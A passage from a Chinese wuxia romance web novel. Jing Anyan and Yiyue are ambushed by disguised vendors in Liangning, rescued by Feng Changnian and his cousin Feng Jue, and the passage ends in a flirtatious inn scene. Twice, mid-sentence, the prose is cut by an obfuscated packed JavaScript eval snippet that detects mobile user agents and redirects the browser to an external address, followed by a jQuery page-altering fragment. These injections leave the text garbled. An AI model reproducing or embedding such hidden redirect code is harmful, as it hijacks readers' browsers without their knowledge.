靖安言心脏猛地一空,封长念临行前唇角那抹意犹未尽又意味深长的微笑再度浮现在眼前。 “……王上,你也清楚我的情况。” 大魏没有我的容身之处,稍有不慎,一旦身份暴露,我就会被群起而攻之,莫说这封信送不送得到,我连…… 勒乌图将手掌压在他的肩膀上:“我知道,但是时过境迁,魏明帝都死了,梁宁又是边境,从来不参与南疆这边的争端,难道还真的人手一份你的画像,每日每夜都防着你的出现吗?” 靖安言深吸一口气:“为什么是我?” “因为你熟悉啊,大魏里面的规矩,你最熟悉了,若是让别人去,只怕不出三天就会因为不熟悉那边的风土人情而露馅,派你去,最为合适不过了。” 勒乌图敛了些笑容:“安言,你不会连这点小事,都不愿意去了吧,这可比杀召砾简单多了,还是说,你真的觉得圣酋之位没落在自己身上,心里还有不甘?” 靖安言:“……” 话都说到这份上,勒乌图已经是铁了心让他走这一遭了,再多的反驳与疑问没有用,勒乌图又是个那么多疑的人。 靖安言心底叹息,将信折进怀里:“接信人是谁?” “你去了便知,我已然打点好一切,不必担心,只要你出现,自然有人会来告知你,他就是‘接信人’。”勒乌图满意地笑了,压低了声音道,“你放心,这件事情成了,大祭司的位置,就是你的。” 靖安言瞳孔猛地一缩。 “左右夷靡殊年事已高,南疆想要干大事,必得换一批新鲜血液,年轻、有为,而且……这怎么不算一种,物归原主呢?” 物归原主。 好一句物归原主。 靖安言回过神来时,夷月终于吃饱了饭,正心满意足地瘫在圈椅上喝茶水,嘶溜溜的。 她也换了一副大魏装扮,南疆衣服多修身,大魏衣服则灵动飘逸很多,夷月拆了发辫,梳了发髻,换了一身浅粉色的裙装,看起来倒真像是哪家小姐出来游玩。 唯一一个不大相符的是那条小银蛇,悄悄地缠在了她手腕上,走动间露出只当是银镯,不见上头那丝丝吐露着的蛇信子。 还有她那四仰八叉的坐姿,靖安言实在没看下去,伸手拍了一下:“你好好坐着。” “哦哦,忘了忘了,还以为穿的裤子呢。”夷月坐直了身体,方才她刚换衣服时看也没看随便就坐了,裙子像一朵盛开的花瓣,“干爹,你之前在大……咳,在长安时,也穿得和现在一样吗?这料子好舒服啊。” “差不多,不过我那时候不带束腕,现在不带不行。”靖安言伸手给她倒茶,“而且已经入秋了,梁宁入秋比长安快,原来这个时节我还穿个单衣瞎跑。” 结果第一天到这儿,靖安言险些被风吹透,心里默默感慨一句果然这个身体状况和十年前比不了了,然后老老实实多裹上了一层衣服。 吃饱喝足,靖安言交了钱,继续出发了。 梁宁秋季多雨,靖安言持着一把伞和夷月并肩而行,其实他也不知该去何处,勒乌图给的线索着实很渺茫,万般无奈之下,他只能带着夷月瞎逛,但好在夷月第一次来大魏,看什么都极其有兴趣,所以也不算无聊。 雨水滴滴答答敲在伞面上,模糊了周遭景象,却频频让靖安言出神。 这些日子,夷月蹦蹦跳跳去看摊子的时候,他总能幻视十年前的秋长若,身边一般叽叽喳喳还有一串师兄,七嘴八舌讨论要买什么的时候,总有一双眼睛会在纷扰中回头,看他一眼。 那双眼睛,看着敌人的时候如同捕猎的鹰,而落在他眼底就是柔情的雾,被春风一吹,托举整个人都飘飘欲仙。 ……又想起封长念了。 靖安言掐了掐眉心,不自觉蹙了蹙眉,连雨声都吵嚷起来。 封长念也在梁宁,他到底是怎么算出来勒乌图会派自己来西域的,那句“先走一步”比靖安言怀里揣着的信还让人惴惴不安。 “闪开——!!!” 一道惊雷似的吼声在长街上炸开,马蹄声迭起,踩着水坑轰然而落,几乎是眨眼的功夫就已经冲到了面前。 夷月正出神地挑选簪子,闻声时已经来不及了,高高扬起的马蹄映着背光的身影,在她眼里垒成了一座难以喘息的山。 “阿月——!” 说时迟那时快,靖安言扔了伞,身影如同游龙一般蹿了过去,一把扶住夷月的双肩往旁边一摔,擦身而过间,卖簪子的小贩一把扬了摊位,从桌下抽出一把雪亮的长刀。 刀光晃得街上众人纷纷逃窜,靖安言扶着夷月平稳站定,只见雪白的骏马上,一人单手勒住缰绳,另一只手中长.枪飞舞,扫起猎猎罡风,带着十足杀招撞向那小贩的刀锋。 “咣”地一声,刀锋被一分为二,崩裂的刀片险些刺伤夷月的手,她连忙一躲,浅浅惊呼了一声:“哇……” 马上的是一名女子,穿着鹅黄色的短打,梳高马尾,面庞英气十足又魅力十足,只是眼角眉梢间总让靖安言有那么几分的熟稔。 想到了什么一般,靖安言眼神极快地一暗,不由分说地一把架起夷月,当机立断就要走。 可那小贩见大势已去,夷月身影又近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14833032|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在眼前,立刻抛下那马上之人,从怀中掏出一把短匕,去抢夷月的身影。 余光里看到那只脏手已经快要碰到夷月的肩膀,靖安言一掌推开她,反身一把攥住那小贩的手腕,小贩见一击不成,又要再刺,而马上那名姑娘这时杀到,长.枪挥舞得铿锵有力,直直把小贩逼到退无可退。 不对劲。 方才这姑娘长.枪扫出时,大街上原本一些闲逛的人早就逃得无影无踪,只有一些同样摆摊的小贩在,而眼下,他们也同样从摊位下面抽出武器,趁着两人打得不可开交时,渐渐围了上来。 靖安言护着夷月慢慢后退,四下环顾,刚才动手的那一刻已经失了最后逃离的机会,他们和那姑娘一同被围堵了起来。 夷月手伸进广袖中,低声道:“干爹,要不……” 靖安言手一翻,压住了阿银的小三角头。 这里不能动用蛊术,夷月从未学过冷兵器,在这里动手要么暴露要么死。 而他自己……靖安言下意识动了动右手手腕,眼下只有一把小短刀,虽然腕力可以承受,但实在是不知道能不能同时拼杀这么多人。 这运气也是没谁了。靖安言暗自腹诽,他还要拉着夷月隐藏踪迹,实在不想刚来没几天就和西军都督府牵扯到一起,眼下最好的还是当个无辜的路人百姓。 雨水已经将几人淋了个透彻,那姑娘将小贩一枪抡出,转过头来时雨水顺着额发滴落,看见了几个人凶恶的面相。 “哟,蝎子还挺多。” 她一抿唇,持着长.枪就冲了上去。 “干爹……!?” 靖安言把夷月安顿在角落里,从怀中掏出那把短匕也跟着扑了上去。 他到底还是不能看着那姑娘一个人上阵杀敌,还有一些令人微妙的事情是,那姑娘持枪回身的时候,实在有点像他方才心头一念、闪过的那张面庞。 对方人太多了,雨水又大,长.枪淋了雨多少有些吃力,在那姑娘回身避之不及的那一瞬,一把刀精准地捅进了小贩的后心。 短匕拔出,溅了他半面血,靖安言眼睛都未眨,忽略了那姑娘惊讶的神色,背对背和她靠在一起。 “速战速决吧。”靖安言嗓音微哑,带着他自己都没有察觉到的激动和雀跃,“……不知道这帮人还有没有什么后招。” “一群杀不干净的沙蝎子。”那姑娘短促地笑了声,带着嘲讽,“谢了大哥,这波杀完我请你喝酒。” “一会儿再说吧!” 靖安言与那姑娘同时蹿出,敌方有七八个人,纵然本领不如他们,但分到两个人身上却是令人不敢放松警惕的战力,靖安言右手本就有伤,经不起久耗。 雨越下越大,黏在身上像是有无数人在攀扯自己的衣裳,靖安言在冷兵器上的攻势本就以轻快见长,如今可谓是天时地利人和均不占,真是倒霉。 他一脚踹开一个小贩,握着被雨水冲刷干净的短匕回身猛刺时,夷月的叫声拔地而起:“干爹小心后面!!” 后面!? 短短的一瞬拉得无比漫长,靖安言右手将短匕送进一人胸膛,仓促间回过头去望,身后不知从哪里蹿过来的小贩举起长刀,对着他的肩膀就要砍下来!! 躲避来不及了,他的手腕被濒死的人紧紧绞住,想让那姑娘伸出援手也来不及,她自己都自顾不暇,夷月翻转手腕,甚至已经能够看到阿银吐露出来的毒牙…… 真的只有暴露一条路吗? 靖安言眼神蓦地一变。 就在这时,街边酒楼的二楼窗户轰然碎裂,一把剑裹挟风雨而来,正中靖安言身后那人的脖颈,刹那间一片血污。 封长念从二楼翻窗而下,带着一身未曾褪尽的寒,雨水将他的额发打湿,勾勒出凌乱着忙的心神。 他收回墨痕剑,手起剑落砍断了绞着靖安言的那双手,一把将人扯进自己怀里。 封长念一手揽着人一手持着剑:“不怕死的就再来试试。” 32.阿言 夷月立刻把蹿出去一半的阿银拽了回来,欣喜地朗声叫道:“封哥!!” 手持长.枪的姑娘闻声一愣,讶异又狐疑地看了一眼封长念,结果险些被身后小贩一刀砍中,幸好她听觉极其敏锐,当即曲肘一撞,直接将人撞飞出去。 长.枪迅速调转枪头,干脆利落地捅进心口,那姑娘一甩马尾:“都是沙蝎子,一个不能留!” 像是什么暗号一般,靖安言明显感觉到揽着自己的人微微一僵,下一刻就把自己推向了夷月那边,然后手持墨痕剑,和那姑娘一起对着那几个落荒而逃的小贩追了过去。 夷月眨眨眼:“……他们在说什么?封哥听懂了?” 靖安言收了短匕,耳畔仿佛还残留着方才封长念因剧烈动作而急促的呼吸,轻柔的风,就拂过他脆弱的耳根。 他望着那两个背影定了定神,思忖道:“嗯,可能是刻在骨子里的……家规家训吧。” 家规家训??? “相比之下,我在想的是,我们要不要走。”靖安言嘴上那么说着,但脚下已经开始往角落里悄悄挪动,“趁着他们去追人,现在就走。” 夷月脸色露出一些微妙的尴尬:“……不至于吧,封哥能找到你第一次肯定能找到你第二次,你躲他没有用处的吧……” “我不是躲他。”靖安言目光平移到封长念身边的那一抹鹅黄,“我是躲那姑娘。” “她是西军都督府的人。” 话音未落,靖安言袖口一紧,整个人都被夷月拽了一个趔趄——夷月从小听南军都督府跟南疆打了多少场仗,别的不说,对大魏五军都督府从骨子里都打怵的。 小姑娘腿倒腾得飞快:“你不早说!你怎么看出来的?” “……你不觉得她和你封哥有点像吗?”靖安言被她逗笑了,“不过我没见过,我也只是猜测,听你封哥原来跟我讲过,他那完蛋叔叔有一儿一女,我感觉这位可能就是他堂妹,封……” “咣”。夷月又来了个急刹,靖安言这次彻底没刹住,两个人险些一同撞在墙上。 靖安言下意识撑了一把,本来就在阴雨天叫唤着疼痛的手腕彻底不满,痛感直接从右臂蹿到天灵盖,痛得他倒吸一口凉气。 “嘶——”靖安言左手一捂,呲牙咧嘴道,“……又怎么了?” “不好意思不好意思,你没事吧。”夷月双手小小地举了一下,“我……我是想问,你的意思是他俩是堂兄妹?” 靖安言面色不善地盯着她。 夷月继续道:“那方才那姑娘……也能认出来封哥?他俩是不是短期之内应该不会分开啊?” “这关咱俩逃跑什么事儿?” 夷月:“……” 她心虚地从怀里掏出来一只小虫,腹部还在翕动,是一只定位蛊。 靖安言狐疑地歪了歪头。 夷月笑得有几分讨好:“……烫了。” 靖安言眼角一抽,果不其然,身后响起急促的脚步声,在瓢泼大雨下也能听出来那脚步声有几分焦急,随即是一阵熟悉的气息从身后四面八方涌来。 身后的人没说话,倒是方才那道女声先响了起来:“你们跑什么啊,我还以为还有沙蝎子没有除干净,把你们掳走了呢。连伞都没带,赶紧打上。” 那姑娘三步并两步把伞撑开,又被封长念接了过来,轻轻罩在了靖安言和夷月的头顶。 “伤着哪儿了没?” 靖安言把渗血的小臂藏进广袖下,然后转身抬眼,笑:“没有。好巧啊,居然真的相遇了。” 封长念只是敛眉瞧着他,从那沉沉的眼神中,靖安言感觉到他好像是酝酿了些薄怒,但怒从何来,靖安言还没参透。 倒是那姑娘探头笑了:“我就说哪里来的身手这么好的人,原来是珩哥的朋友。这位大哥,还有小妹妹,你们好啊,我叫封玦,是珩哥的堂妹,你们叫我阿玦就得了。” 封玦看上去不过二十岁左右,杀人的时候动手麻利不留情,下了战场倒是有几分这个年龄的活泼,高马尾一甩一甩的,衬上那鹅黄色的衣裳,一笑之下,又多添了丝朝气蓬勃。 “阿玦姐姐,”夷月早就把定位蛊藏了回去,“我叫阿月,这位是我干爹,叫……” “阿言。” 这话不是靖安言说的,也不是夷月说的,更不可能是封玦说的。封长念脱口而出这两个字的时候,连靖安言本人都瞪大了眼睛,几乎要把那句“你叫我什么”抖出来丢他脸上。 封长念的表情突然带了一种很欠揍的“我也没有办法啊”,他勾了勾唇角,方才的阴翳一扫而光,转头冲封玦介绍:“这也不是说话的地方,阿玦,我多年不回梁宁了,有什么酒楼也不清楚,靠你介绍了。” “哥,你这就客气了,交给我吧。”封玦爽朗一笑,“不过,你要住外面吗?不回家?” “公事在身不方便。而且,若非必要,我希望……” 不消他说完,封玦立刻抢白道:“明白,我是不会告诉我爹你回来了的。放心吧,我爹他最近也忙得很,只要你不打上门去,他一时半会儿察觉不到的。” 封玦比封长念小四五岁,其实她本身还有一个亲哥哥,但不知为何,她从小待封长念这位堂哥比亲哥要亲近得多,后来封长念进长安的时候,封玦还哭了好久。 因此有些事在兄妹之间不需多言,封玦本身也看不惯自家父亲做的一些事,但为人子女,总不能多说什么,所以封长念的无奈,她是明白的。 十多年还能存在的这一份明白,也足以令人动容,封长念微微颔首:“多谢你。” “行啦,都别站着了。言哥,阿月妹妹,跟我走吧,今天绞杀这些沙蝎子,也多亏了你们,就算和我哥不认识,我也要请你们好好吃一顿的。” 西军都督府自封铭病逝后,就交给了封钧负责,但奈何这人纨绔作风自始至终不曾改变,每日无所事事、毫不作为,他儿子也和老子一个模样,于是大半的担子就全都落在了封玦身上。 因此她牵着马走在路上时,有不少百姓都纷纷向她问好,俨然已经成了百姓心中的小侯爷,还有给她送瓜果熟食的,到最后怀里都拿不下,只好放在马背上。 “真热情。” 靖安言不过一句随口感慨,结果话音就这么直直地落入了封长念耳中,他附耳过来问:“什么?” 靖安言还没被那句“阿言”震得缓过神来,不自在地搓了搓耳垂:“我说真热闹,如果……” 封长念认真地注视着他,靖安言顿觉失语,不再往下说了。 封长念略略思索,也不追问了,他已明了那些未竟之语。 如果你当年没有被关进长安城,是不是也像封玦一样,被百姓爱戴,受百姓簇拥,打马在街上巡视,荡平世间不平事,杀尽流窜匪贼寇,然后这样欢欢喜喜地回家。 可惜没有如果,如果真的有如果,靖玄念就还会存在,他会真的看到封长念领了一纸诏书光明正大地回家,带着他一起,跟他一起见见家里人,而不是以一个连名字都无法相告的身份与封玦见面。 这是他的家里人,是他家中为数不多能与他相谈的妹妹。 是他的血缘之亲。 一股奇异的感受后知后觉袭来,靖安言抿了抿唇,下意识挠了挠小臂上受的伤。 “到啦。”封玦转过头来,“赏玉楼,这可是梁宁最好的酒楼,哥,你还记得不,小时候我们总来这儿听戏,听得晚了就直接楼上睡,不回家了,大伯还总来逮我们,最后拎小鸡似的一手一只拎回家。” 夷月忍俊不禁:“封哥,你还有这种事迹呢。” 被揭了短的封长念也有点脸红,他未进长安城前的那些“案底”可比在玄门时候多多了,不觉微微提高了音量:“阿玦!” “完了,生气了,一会儿真的要找我打架了。”封玦笑嘻嘻地跑进门,“走了走了,我请客吃饭赔罪还不行吗,行行好,在你朋友面前别下我面子啊,求你了哥。” 大下午的,吃饭的事可以先放一放,当务之急是把湿透的衣服换下来。 封玦出手大方,当即包下了四间上房,里面软床、屏风、吃食、沐浴一应俱全,就连沐浴的水都可以自己选择是泡花瓣还是泡牛乳,赏玉楼也知道她的身份,多少受过她的庇护,丝毫不敢怠慢。 在夷月兴奋地挑选时,靖安言多年刀剑舔血,没那么多讲究,只吩咐了热水就一头扎了进去。 赏玉楼一楼梨园戏唱得热闹,沐浴的水声都遮不住,在这样“咿咿呀呀”的唱词中,靖安言打湿长发,水珠连点成线低落,砸进水面泛起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14850411|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈又一圈涟漪,如同跟着唱词婉转,滴滴答答地响起。 他闭着眼冲洗皂角,回过神来时猛地发现自己在跟着哼唱,梳进头发里的五指微微一停,眼底蓦地透出几分凄凉。 曾经、曾经也有人抱着琵琶给他唱过戏,只可惜那人后来…… “安言,”那人停下来,抱着琵琶看着他,“这条路就是会很苦的,背井离乡、隐姓埋名,但你要往前走,带着我的心愿,我们的心愿,一路往前走。” 靖安言将脸深深地埋进掌心,在潮湿的雾气中深深吸了一口气。从跨越神寂岭,来到梁宁,那口气一直不上不下,哽得他难受,好在这次,终于随着那些熟稔的唱词,悉数呼了出去。 直到水都快凉了,那些被冻透的筋骨才缓和过来,靖安言把自己从浴桶中捞出来,拽下布巾擦干,几出戏的时间里,他状态迅速地调整了过来,眼波流转间,一些谋划已经浮现成型。 这边厢刚换上中衣,封长念就敲门进来了。 隔着一扇屏风,封长念依旧能看得出这人清瘦的轮廓,抱着干净外袍的手微微一紧,攥出些微褶皱:“……我、我来送衣服。” 一只手从屏风后面递了出来,还带着沐浴后的潮气,骨节都透着一股引人遐想的粉。 靖安言等了一会儿没等到,轻声催促道:“给我啊。” 封长念打了一个激灵,赶紧把衣服塞到他手里。 仓促间封长念的指尖慌张地勾过他的掌心,靖安言像是感受到了什么,屏风后发出了一声短促却不带恶意的嘲笑。 封长念当即原地涨红了脸色,像是个愣头小子,呆呆地看着屏风上的身影将外衣甩开,仿佛一只展翅的蝶将靖安言的身形紧紧裹住。 靖安言伸手将濡湿的发从后领口捞出,晃神间那带着皂角香气的水珠好似溅了封长念一脸。 他呆子似的:“……小师叔,你知道吗?” 屏风后系腰带的手一顿。 “刚刚我从二楼绕道破窗而下,惊鸿一瞥间,我以为是十年前。” 靖安言穿着大魏的衣服,是他从前最喜欢的宽松飘逸服饰,一身白,如果腰间别着的不是那根玉笛而是那柄熄云甚至是墨痕,简直和封长念梦里的人一模一样。 靖安言微微顿了顿,索性腰带也不系了,整个人大咧咧地往屏风边上一靠,外袍就那样顺着他的动作流淌下来,露出若隐若现的肌肤。 本就有些没压下去的火瞬间又令人口干舌燥起来,唯一值得庆幸的是靖安言裤子穿得严严实实,只留下犹抱琵琶半遮面的上半身令他意乱情迷。 “小兔崽子,眼神往哪儿瞟呢。”靖安言懒洋洋地觑他,“现在知道叫小师叔了,方才在你妹妹面前,叫我什么?” 封长念喉结一滚:“……阿言。” 嗓音愈发粗哑:“阿言。” 这房间的水汽过于浓重了,挤压得人透不过气,在越来越艰难地喘息中,他的阿言一步一步走向了他。 靖安言一手搭在他肩膀,唇凑过来:“大逆不道。” 封长念眼底似有火在烧:“……你——” “封长念。” 靖安言的手虚虚地攥在他的脖颈,悄声叫了他的名字,这次不再是十年前的“封长忆”,而是正儿八经的封长念,他明知道的、带着情思的封长念。 “封长念,老实交代,想这么叫我多久了。” 身侧的人呼吸骤然粗重,压在掌心下的脖颈跟着猛烈起伏。 “阿言。”靖安言自己重复了一遍,“小兔崽子。真是,大逆不道。” 话音未落,靖安言左手一个发力,封长念兀自沉溺在被迷惑的幻梦中,毫无招架之力,一把被他掀到了床上。 “小师叔——!?” 封长念尚未来得及起身,靖安言长腿一跨坐了上来。 他眸子蓦地一缩,是靖安言双手撑在他头的两侧,顷刻间鼻尖已经压到了鼻尖。 这和他们南疆重逢的那场绮梦太像了,封长念狠狠咬了一口舌尖,尝到了满口血腥,也阻止不了那股邪火一路往下,险些点燃他最后一点理智。 “封长念,我的确不能再把你当小孩子了。”靖安言轻声轻语,仿佛枕畔情人间的呢喃,“回答我一些问题,回答得好了,小师叔有赏。”